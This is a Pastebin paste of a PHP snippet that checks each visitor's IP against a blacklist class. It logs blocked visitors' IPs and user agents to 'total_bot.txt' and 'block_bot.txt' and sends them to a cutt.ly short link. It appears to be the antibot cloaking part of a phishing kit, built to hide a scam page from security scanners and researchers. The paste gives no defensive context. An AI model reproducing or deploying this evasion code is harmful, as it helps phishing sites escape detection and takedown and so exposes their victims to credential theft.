Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(0);
- $ips = array($_SERVER['REMOTE_ADDR'],);
- date_default_timezone_set("Asia/Jakarta");
- $checklist = new IpBlockList( );
- $random_id = sha1(rand(0,1000000));
- foreach ($ips as $ip ) {
- $result = $checklist->ipPass( $ip );
- if (!$result) {
- $msg = "FAILED: ".$checklist->message();
- $ip = getenv("REMOTE_ADDR");
- $click = fopen("result/total_bot.txt","a");
- fwrite($click,"$ip (Detect by IP Blacklist)"."\n");
- fclose($click);
- $file = fopen("block_bot.txt","a");
- fwrite($file," BLOCKED BY 1P BLACKLIST ]| user-agent : ".$_SERVER['HTTP_USER_AGENT']."\n ip : ". $ip." || ".gmdate ("Y-n-d")." ----> ".gmdate('H:i:s')."\n\n");
- header("location: https: //cutt.ly/BrnV3y");
- exit();
- }
- }
Add Comment
Please, Sign In to add comment